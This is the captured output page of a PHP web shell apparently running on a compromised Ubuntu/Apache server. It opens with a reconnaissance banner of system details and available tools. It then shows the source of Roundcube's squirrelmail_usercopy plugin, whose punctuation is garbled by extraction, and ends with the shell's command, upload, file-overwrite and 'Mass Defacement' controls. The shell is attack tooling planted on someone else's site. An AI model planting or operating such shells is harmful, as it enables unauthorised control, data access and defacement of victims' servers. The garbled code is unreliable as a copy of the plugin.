ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.17 GB of 70.42 GB (35.74%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ plugins/ squirrelmail_usercopy/ - drwxr-xr-x

Directory:
Viewing file:     squirrelmail_usercopy.php (6.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Copy a new users identity and settings from a nearby Squirrelmail installation
 *
 * @version 1.4
 * @author Thomas Bruederli, Johannes Hessellund, pommi, Thomas Lueder
 */
class squirrelmail_usercopy extends rcube_plugin
{
    public 
$task 'login';

    private 
$prefs null;
    private 
$identities_level 0;
    private 
$abook = array();

    public function 
init()
    {
        
$this->add_hook('user_create', array($this'create_user'));
        
$this->add_hook('identity_create', array($this'create_identity'));
    }

    public function 
create_user($p)
    {
        
$rcmail rcmail::get_instance();

        
// Read plugin's config
        
$this->initialize();

        
// read prefs and add email address
        
$this->read_squirrel_prefs($p['user']);
        if ((
$this->identities_level == || $this->identities_level == 2) && $rcmail->config->get('squirrelmail_set_alias') && $this->prefs['email_address'])
            
$p['user_email'] = $this->prefs['email_address'];
        return 
$p;
    }

    public function 
create_identity($p)
    {
        
$rcmail rcmail::get_instance();

        
// prefs are set in create_user()
        
if ($this->prefs) {
            if (
$this->prefs['full_name'])
                
$p['record']['name'] = $this->prefs['full_name'];
            if ((
$this->identities_level == || $this->identities_level == 2) && $this->prefs['email_address'])
                
$p['record']['email'] = $this->prefs['email_address'];
            if (
$this->prefs['___signature___'])
                
$p['record']['signature'] = $this->prefs['___signature___'];
            if (
$this->prefs['reply_to']) 
                
$p['record']['reply-to'] = $this->prefs['reply_to']; 
            if ((
$this->identities_level == || $this->identities_level == 1) && isset($this->prefs['identities']) && $this->prefs['identities'] > 1) {
                for (
$i=1$i $this->prefs['identities']; $i++) {
                    unset(
$ident_data);
                    
$ident_data = array('name' => '''email' => ''); // required data
                    
if ($this->prefs['full_name'.$i])
                        
$ident_data['name'] = $this->prefs['full_name'.$i];
                    if (
$this->identities_level == && $this->prefs['email_address'.$i])
                        
$ident_data['email'] = $this->prefs['email_address'.$i];
                    else
                        
$ident_data['email'] = $p['record']['email'];
                    if (
$this->prefs['reply_to'.$i])
                        
$ident_data['reply-to'] = $this->prefs['reply_to'.$i];
                    if (
$this->prefs['___sig'.$i.'___'])
                        
$ident_data['signature'] = $this->prefs['___sig'.$i.'___'];
                    
// insert identity
                    
$rcmail->user->insert_identity($ident_data);
                }
            }

            
// copy address book
            
$contacts $rcmail->get_address_book(nulltrue);
            if (
$contacts && count($this->abook)) {
                foreach (
$this->abook as $rec) {
                    
// #1487096 handle multi-address and/or too long items
                    
$rec['email'] = array_shift(explode(';'$rec['email']));
                    if (
rcube_utils::check_email(rcube_utils::idn_to_ascii($rec['email']))) {
                        
$rec['email'] = rcube_utils::idn_to_utf8($rec['email']);
                        
$contacts->insert($rectrue);
                    }
                }
            }

            
// mark identity as complete for following hooks
            
$p['complete'] = true;
        }

        return 
$p;
    }

    private function 
initialize()
    {
        
$rcmail rcmail::get_instance();

        
// Load plugin's config file
        
$this->load_config();

        
// Set identities_level for operations of this plugin
        
$ilevel $rcmail->config->get('squirrelmail_identities_level');
        if (
$ilevel === null)
            
$ilevel $rcmail->config->get('identities_level'0);

        
$this->identities_level intval($ilevel);
    }

    private function 
read_squirrel_prefs($uname)
    {
        
$rcmail rcmail::get_instance();

        
/**** File based backend ****/
        
if ($rcmail->config->get('squirrelmail_driver') == 'file' && ($srcdir $rcmail->config->get('squirrelmail_data_dir'))) {
            if ((
$hash_level $rcmail->config->get('squirrelmail_data_dir_hash_level')) > 0
                
$srcdir slashify($srcdir).chunk_split(substr(base_convert(crc32($uname), 1016), 0$hash_level), 1'/');
            
$prefsfile slashify($srcdir) . $uname '.pref';
            
$abookfile slashify($srcdir) . $uname '.abook';
            
$sigfile slashify($srcdir) . $uname '.sig';
            
$sigbase slashify($srcdir) . $uname '.si';

            if (
is_readable($prefsfile)) {
                
$this->prefs = array();
                foreach (
file($prefsfile) as $line) {
                    list(
$key$value) = explode('='$line);
                    
$this->prefs[$key] = utf8_encode(rtrim($value));
                }

                
// also read signature file if exists
                
if (is_readable($sigfile)) {
                    
$this->prefs['___signature___'] = utf8_encode(file_get_contents($sigfile));
                }

                if (isset(
$this->prefs['identities']) && $this->prefs['identities'] > 1) {
                    for (
$i=1$i $this->prefs['identities']; $i++) {
                        
// read signature file if exists
                        
if (is_readable($sigbase.$i)) {
                            
$this->prefs['___sig'.$i.'___'] = utf8_encode(file_get_contents($sigbase.$i));
                        }
                    }
                }

                
// parse addres book file
                
if (filesize($abookfile)) {
                    foreach(
file($abookfile) as $line) {
                        list(
$rec['name'], $rec['firstname'], $rec['surname'], $rec['email']) = explode('|'utf8_encode(rtrim($line)));
                        if (
$rec['name'] && $rec['email'])
                            
$this->abook[] = $rec;
                    }
                }
            }
        } 
        
/**** Database backend ****/
        
else if ($rcmail->config->get('squirrelmail_driver') == 'sql') { 
            
$this->prefs = array();

            
/* connect to squirrelmail database */
            
$db rcube_db::factory($rcmail->config->get('squirrelmail_dsn'));

            
$db->set_debug($rcmail->config->get('sql_debug'));
            
$db->db_connect('r'); // connect in read mode

            /* retrieve prefs */
            
$userprefs_table $rcmail->config->get('squirrelmail_userprefs_table');
            
$address_table $rcmail->config->get('squirrelmail_address_table');
            
$db_charset $rcmail->config->get('squirrelmail_db_charset');

            if (
$db_charset)
                
$db->query('SET NAMES '.$db_charset);

            
$sql_result $db->query('SELECT * FROM '.$userprefs_table.' WHERE user=?'$uname); // ? is replaced with emailaddress

            
while ($sql_array $db->fetch_assoc($sql_result) ) { // fetch one row from result
                
$this->prefs[$sql_array['prefkey']] = rcube_charset::convert(rtrim($sql_array['prefval']), $db_charset);
            }

            
/* retrieve address table data */
            
$sql_result $db->query('SELECT * FROM '.$address_table.' WHERE owner=?'$uname); // ? is replaced with emailaddress

            // parse addres book
            
while ($sql_array $db->fetch_assoc($sql_result) ) { // fetch one row from result
                
$rec['name']      = rcube_charset::convert(rtrim($sql_array['nickname']), $db_charset);
                
$rec['firstname'] = rcube_charset::convert(rtrim($sql_array['firstname']), $db_charset);
                
$rec['surname']   = rcube_charset::convert(rtrim($sql_array['lastname']), $db_charset);
                
$rec['email']     = rcube_charset::convert(rtrim($sql_array['email']), $db_charset);
                
$rec['notes']     = rcube_charset::convert(rtrim($sql_array['label']), $db_charset);

                if (
$rec['name'] && $rec['email'])
                    
$this->abook[] = $rec;
            }
        } 
// end if 'sql'-driver
    
}

}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.173 seconds